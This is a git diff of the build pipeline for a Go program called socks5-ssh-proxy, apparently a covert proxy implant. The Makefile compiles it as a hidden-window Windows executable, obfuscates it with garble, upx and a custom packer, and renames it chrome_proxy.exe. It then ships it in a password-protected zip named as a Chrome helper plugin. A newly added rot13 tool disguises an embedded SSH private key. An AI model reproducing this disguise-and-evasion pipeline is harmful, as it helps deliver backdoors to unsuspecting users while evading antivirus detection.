diff --git a/.goreleaser.yaml b/.goreleaser.yaml
index 8ff2b03..f603e81 100644
--- a/.goreleaser.yaml
+++ b/.goreleaser.yaml
@@ -60,10 +60,11 @@ builds:
goarch:
- amd64
ldflags:
- - -w -H=windowsgui
+ - "-H=windowsgui"
gobinary: "scripts/garble.sh"
tags:
- release
+ - windows
upx:
- # Whether to enable it or not.
diff --git a/Makefile b/Makefile
index d477a42..a7b3719 100644
--- a/Makefile
+++ b/Makefile
@@ -20,16 +20,18 @@ socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
upx $@
win: socks5-ssh-proxy.exe
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
+ CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags "-s -w -H=windowsgui" -tags windows,release -o $@
# CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
- CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
- upx $@
- go run cmd/upx-obfuscator/main.go $@
+ #CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
+ #upx $@
+ #go run cmd/upx-obfuscator/main.go $@
goreleaser: resources $(GARBLE_BIN)
- goreleaser build --clean --snapshot --id win-release
+ goreleaser build --verbose --clean --snapshot --id win-release
+# goreleaser build --clean --snapshot --id win-release
win-package: ChromeProxyHelperPlugin.zip
ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe
cp socks5-ssh-proxy.exe chrome_proxy.exe
- upx chrome_proxy.exe
+ #upx chrome_proxy.exe
zip -eP resistanceIsFutile ChromeProxyHelperPlugin.zip chrome_proxy.exe
rm -f chrome_proxy.exe
install-deps: $(GARBLE_BIN)
@@ -59,10 +61,12 @@ resources/ssh_private_key:
@echo "====================================="
resources/ssh_private_key.base64: resources/ssh_private_key
base64 -i $< -o $@
+resources/ssh_private_key.base64.rot13: resources/ssh_private_key.base64
+ go run cmd/rot13-obfuscator/main.go $< $@
fmt:
gofmt -w *.go
-secrets: config_release.go.base64 resources/ssh_private_key.base64
+secrets: config_release.go.base64 resources/ssh_private_key.base64.rot13
.phony: clean test win
diff --git a/cmd/rot13-obfuscator/main.go b/cmd/rot13-obfuscator/main.go
new file mode 100644
index 0000000..7ad360c
--- /dev/null
+++ b/cmd/rot13-obfuscator/main.go
@@ -0,0 +1,51 @@
+package main
+
+import (
+ "fmt"
+ "io/ioutil"
+ "log"
+ "os"
+)
+
+func rot13(input byte) byte {
+ if 'A' <= input && input <= 'Z' {
+ return 'A' + (input-'A'+13)%26
+ } else if 'a' <= input && input <= 'z' {
+ return 'a' + (input-'a'+13)%26
+ }
+ return input
+}
+
+func rot13Bytes(data []byte) []byte {
+ result := make([]byte, len(data))
+ for i, b := range data {
+ result[i] = rot13(b)
+ }
+ return result
+}
+
+func main() {
+ if len(os.Args) != 3 {
+ log.Fatalf("Usage: %s